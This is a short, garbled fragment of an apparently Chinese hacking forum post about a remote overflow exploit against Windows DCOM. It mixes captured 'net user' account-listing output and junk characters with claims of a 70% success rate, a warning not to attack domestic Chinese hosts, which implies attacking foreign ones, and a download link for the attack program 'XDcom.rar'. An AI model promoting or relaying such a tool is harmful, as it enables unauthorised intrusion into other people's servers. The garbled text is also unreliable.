L" i# Binfinityinformations IUSR_DIALTONE IUSR_NS1 IWAM_DIALTONE IWAM_NS1 SQLDebugger 9 g. R( t8 h+ g! y$ }7 kTsInternetUser WO The command completed with one or more errors. 这样一来你想干什么就是你的事了. / i1 F( W, c+ ^. [6 C& g) ^这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 重启才行. CN可以是繁体或简体中文颁本. 再次警告:不要对付国内主机!!!!!后果自负!!!! XDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3